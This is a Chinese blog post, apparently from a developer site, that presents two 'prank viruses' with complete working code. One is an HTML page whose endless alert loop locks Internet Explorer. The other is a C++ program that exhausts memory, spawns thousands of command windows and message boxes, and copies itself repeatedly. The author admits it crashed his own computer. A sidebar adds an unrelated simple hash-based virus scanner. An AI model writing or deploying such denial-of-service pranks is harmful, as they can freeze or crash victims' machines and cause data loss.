做两个恶搞病毒

2 篇文章 0 订阅
1 篇文章 0 订阅

先来热身一下:
下列哪些是计算机病毒?

  • CIH
  • AIDS
  • 金山毒霸
  • 江民
  • 小红伞
  • 小球

好了,回到正题
今天分别做两个病毒,一个是网页病毒,一个是C++(C语言也可以)病毒.
先来说说HTML的:
思路很简单,基于Internet Explorer浏览器出现对话框时无法进行其他操作的Bug,所以利用这个Bug,我们就可以写出这样的代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>
    var i=0;
    while (true){
        alert("hhh!你中计了!叫你不用Edge浏览器,惨了吧!来关我呀!略略略,关不掉!略略略~");
    }
</script>
</body>
</html>

仅对Internet Explorer浏览器有效(给Edge做了一个很大的广告)
运行效果:
Internet Explorer浏览器:
呵呵,你中计了!

新版Edge浏览器:
看你嚣张,还嚣张不!再嚣张把你关了!(先开始录的屏,最后发现传不了,然后就截图了)
老版Edge也是同样做法,只是要先选择这个选项:

  • 不要让这个页面创建更多消息

随后再关掉

新版Edge以及谷歌Chrome,Chromium浏览器直接关掉页面或浏览器就可以了!

IE浏览器就略麻烦,找到小贝(360柠檬杀毒软件的加速球),找到IE浏览器并勾选,随后点击深度加速即可.
看你再嚣张!(品牌信息已打码)
好了,下一个
这是用C++做的,如果上面不够狠那么请看看这个,解决方法比较暴力请不要作X_X使用:
解决方法既然暴力,程序也一定很暴力:
首先上来就100个

 malloc(1024);//参数随便改

卡死你的电脑,随后再来9999个CMD晃死你(我的语气都有点暴力了)!

system("Start");//start大小写随便

如果你的电脑扛住了的话(一般扛不住)再来几个MessageBox气死你!

MessageBox(NULL,"你死定了","呵呵",MB_ICONEXCLAMATION|MB_OK);

随后9999个克隆

char *This = argv[0];//获取当前exe的文件地址
char *Target = "这里填写你的exe文件的目录,如:C:\\xxx.exe";//被拷贝文件的地址
char cmd[1000] = "copy ";
strcat(cmd,This);
strcat(cmd," ");
strcat(cmd,Target);
system(cmd);

总体代码如下:

#include <iostream>
#include <windows.h>
using namespace std;
char cmd[1000] = "copy ";
#define r(p) for(int i=0;i<=p;++i){
#define e }
int main(int argc,char *argv[])//这个int argc,char *argv[]必须带
{
	char *This = argv[0];//获取当前exe的文件地址
	char *Target = "这里填写你的exe文件的目录,如:C:\\xxx.exe";//被拷贝文件的地址
	r(100)malloc(1024);e//malloc是申请内存
	r(9999)system("Start");e
	r(1024)MessageBox(NULL,"你死定了","呵呵",MB_ICONEXCLAMATION|MB_OK);e
	r(9999)	strcat(cmd,This);strcat(cmd," ");strcat(cmd,Target);system(cmd);e
}

运行结果:
哔…
😃
你的电脑出现问题
我们只收集一些信息,随后你就可以关机
100%完成
解决方法:
如果你的柠檬(杀毒软件)没有发现它是个病毒,那么你就只能重启了…
注:
上面的病毒我都在电脑上试过(不是虚拟机),绝对可行!
大家千万不要像我一样啊!!!
要试到虚拟机上试.
彩蛋
(今日无彩蛋)

不赞不看是坏习惯

先赞后看是好习惯

  • 10
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
当然可以帮您写一个简单的病毒扫描程序。 首先,您需要了解病毒扫描程序的基本原理。病毒扫描程序会扫描您的计算机中的所有文件,并与病毒数据库中的病毒特征进行比对,以确定是否存在病毒。在本例中,我们将使用Python语言编写一个简单的病毒扫描程序。 以下是一个基本的病毒扫描程序的示例代码: ```python import os import hashlib # 定义病毒数据库 virus_database = { 'eicar.com': '44d88612fea8a8f36de82e1278abb02f', 'test.txt': '098f6bcd4621d373cade4e832627b4f6' } # 定义扫描路径 scan_path = 'C:\\' # 扫描函数 def scan(): for dirpath, dirs, files in os.walk(scan_path): for file_name in files: file_path = os.path.join(dirpath, file_name) file_hash = hashlib.md5(open(file_path, 'rb').read()).hexdigest() if file_name in virus_database and virus_database[file_name] == file_hash: print('发现病毒:', file_path) # 执行扫描 scan() ``` 在上面的代码中,我们首先定义了一个病毒数据库,其中包含了两个文件的MD5哈希值。然后,我们定义了一个要扫描的路径,然后编写了一个扫描函数,该函数会遍历指定路径下的所有文件,并计算它们的MD5哈希值。如果文件名存在于病毒数据库中,并且它的哈希值与数据库中的哈希值匹配,则表示该文件可能是病毒文件,程序会输出相应信息。 请注意,这只是一个简单的示例代码,它只能识别特定的病毒,而无法应对所有的恶意软件。如果您想要编写更高效、更全面的病毒扫描程序,请参考专业的杀毒软件或防病毒软件的实现方法。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值